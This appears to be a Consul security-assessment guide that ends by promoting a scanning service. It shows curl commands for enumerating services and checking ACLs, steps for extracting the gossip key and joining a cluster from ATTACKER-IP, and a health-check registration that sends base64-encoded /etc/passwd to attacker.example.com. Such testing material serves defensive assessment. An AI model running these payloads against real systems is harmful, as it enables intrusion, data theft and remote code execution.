HashiCorp Consul provides service discovery, health checking, and a service mesh via Consul Connect. Its API and DNS interfaces expose all registered services, the gossip protocol uses a shared encryption key whose compromise allows network eavesdropping and cluster join, health check scripts execute arbitrary commands on Consul agents when triggered, and the KV store frequently contains credentials and configuration that should live in Vault. This guide covers systematic Consul security assessment from both external discovery and internal agent perspectives.
# Consul HTTP API defaults to port 8500 (HTTP) or 8501 (HTTPS)
# Without ACLs, all endpoints are publicly accessible
# Test unauthenticated API access
curl -s http://consul.example.com:8500/v1/status/leader | python3 -m json.tool
# Returns leader address — confirms API is accessible
# Enumerate all registered services
curl -s http://consul.example.com:8500/v1/catalog/services | python3 -c "
import json,sys
services = json.load(sys.stdin)
for svc, tags in services.items():
print(f'Service: {svc} tags: {tags}')
"
# Get service endpoints (IP:port for each service instance)
curl -s "http://consul.example.com:8500/v1/catalog/service/postgres" | python3 -c "
import json,sys
instances = json.load(sys.stdin)
for i in instances:
print(f\" Node: {i['Node']} Address: {i['Address']}:{i['ServicePort']}\")
print(f\" Meta: {i.get('ServiceMeta',{})}\")
"
# List all nodes in the cluster
curl -s http://consul.example.com:8500/v1/catalog/nodes | python3 -c "
import json,sys
nodes = json.load(sys.stdin)
for n in nodes:
print(f\"Node: {n['Node']} IP: {n['Address']} DC: {n.get('Datacenter','?')}\")
"
# Check if Consul UI is accessible (port 8500)
curl -s http://consul.example.com:8500/ui/ -o /dev/null -w "%{http_code}"
# 200 = UI accessible without auth
# Consul ACLs control access to the API, KV store, and service registration
# Default ACL policy may be 'allow' (everything permitted without a token)
# Check ACL configuration
curl -s http://consul.example.com:8500/v1/acl/info/anonymous | python3 -c "
import json,sys
try:
r = json.load(sys.stdin)
print('Anonymous token policy:', r)
except:
print('No ACL or access denied')
"
# Check the default policy
curl -s http://consul.example.com:8500/v1/agent/self | python3 -c "
import json,sys
r = json.load(sys.stdin)
config = r.get('Config',{})
print(f'ACL enabled: {config.get(\"ACLDefaultPolicy\",\"UNKNOWN\")}')
print(f'ACL down policy: {config.get(\"ACLDownPolicy\",\"?\")}')
# DefaultPolicy: allow = everything permitted without token (insecure)
# DefaultPolicy: deny = nothing permitted without token (secure)
"
# Test without a token (should fail if ACLs are enforced with deny default)
curl -s http://consul.example.com:8500/v1/kv/?recurse 2>/dev/null | head -5
# If returns data: ACLs not enforced or default is 'allow'
# List ACL tokens (requires management token)
curl -s http://consul.example.com:8500/v1/acl/tokens \
-H "X-Consul-Token: MANAGEMENT-TOKEN" | python3 -c "
import json,sys
tokens = json.load(sys.stdin)
for t in tokens:
print(f\"Token: {t.get('AccessorID','?')[:8]}... Desc: {t.get('Description','?')}\")
print(f\" Policies: {[p.get('Name','?') for p in t.get('Policies',[])]}\")
"
# Consul gossip uses a shared AES-128 key for LAN/WAN gossip encryption
# The key is stored in agent configuration files on each node
# Extraction enables: join the cluster as a legitimate-looking member, sniff gossip traffic
# Check gossip key in Consul agent config
# Common locations:
for path in /etc/consul.d/consul.hcl /etc/consul.d/config.json \
/opt/consul/config.hcl /var/consul/config.json; do
cat $path 2>/dev/null | grep -E '"encrypt"|encrypt =' | head -3
done
# Check environment variables
env | grep -iE "consul|gossip|encrypt"
# Check Kubernetes secret if Consul is running in K8s
kubectl get secret consul-gossip-encryption-key \
-n consul -o json 2>/dev/null | python3 -c "
import json,sys,base64
s = json.load(sys.stdin)
for k,v in s.get('data',{}).items():
print(f'{k}: {base64.b64decode(v).decode()}')
"
# With gossip key: join Consul cluster from attacker machine
consul agent -dev \
-encrypt="GOSSIP-KEY" \
-retry-join="consul.example.com" \
-bind=ATTACKER-IP &
# Once joined, can register fake services, manipulate health checks,
# and potentially access the Consul API through the cluster
# Consul health checks can execute scripts — if an attacker can register a service
# with a malicious health check script, it executes on the Consul agent host
# Check if script checks are enabled
curl -s http://consul.example.com:8500/v1/agent/self | python3 -c "
import json,sys
r = json.load(sys.stdin)
config = r.get('Config',{})
print(f'EnableScriptChecks: {config.get(\"EnableScriptChecks\",False)}')
print(f'EnableLocalScriptChecks: {config.get(\"EnableLocalScriptChecks\",False)}')
"
# Test: register a service with a malicious script health check
# (Requires service:write ACL or no ACLs)
curl -X PUT http://consul.example.com:8500/v1/agent/service/register \
-H "Content-Type: application/json" \
-d '{
"ID": "exploit-service",
"Name": "exploit-service",
"Check": {
"Name": "health-check-exploit",
"Script": "curl http://attacker.example.com/?data=$(cat /etc/passwd | base64 | tr -d '\''\\n'\'')",
"Interval": "10s"
}
}' 2>&1 | head -5
# If script checks disabled: returns "Scripts are disabled on this agent"
# If enabled: script executes every 10 seconds on the Consul agent host
# CVE-2021-37219 — Consul Raft RPC privilege escalation
# Consul before 1.10.1 allowed non-server agents to execute arbitrary Raft RPCs
# Test: check Consul version
curl -s http://consul.example.com:8500/v1/agent/self | python3 -c "
import json,sys
r = json.load(sys.stdin)
print('Consul version:', r.get('Config',{}).get('Version','?'))
"
default_policy = "deny" — require tokens for all operationsconsul keygenenable_script_checks = false (default since 1.4.0)| Security Test | Method | Risk |
|---|---|---|
| Consul API accessible without token | curl /v1/catalog/services without X-Consul-Token | Critical |
| Script health checks enabled | Check EnableScriptChecks in agent self | Critical |
| Gossip key in config files/K8s secrets | Search agent config, kubectl get secret | High |
| KV store contains passwords/API keys | curl /v1/kv/?recurse — check values | High |
| ACL default policy is 'allow' | Check ACLDefaultPolicy in agent config | High |
| Consul UI publicly accessible | curl port 8500 /ui/ returns 200 | Medium |
Ironimo tests Consul deployments for unauthenticated API access, ACL default-allow misconfigurations, gossip encryption key exposure, health check script injection RCE, KV store credential exposure, and Consul Connect intention bypass — covering the complete Consul attack surface.
Start free scan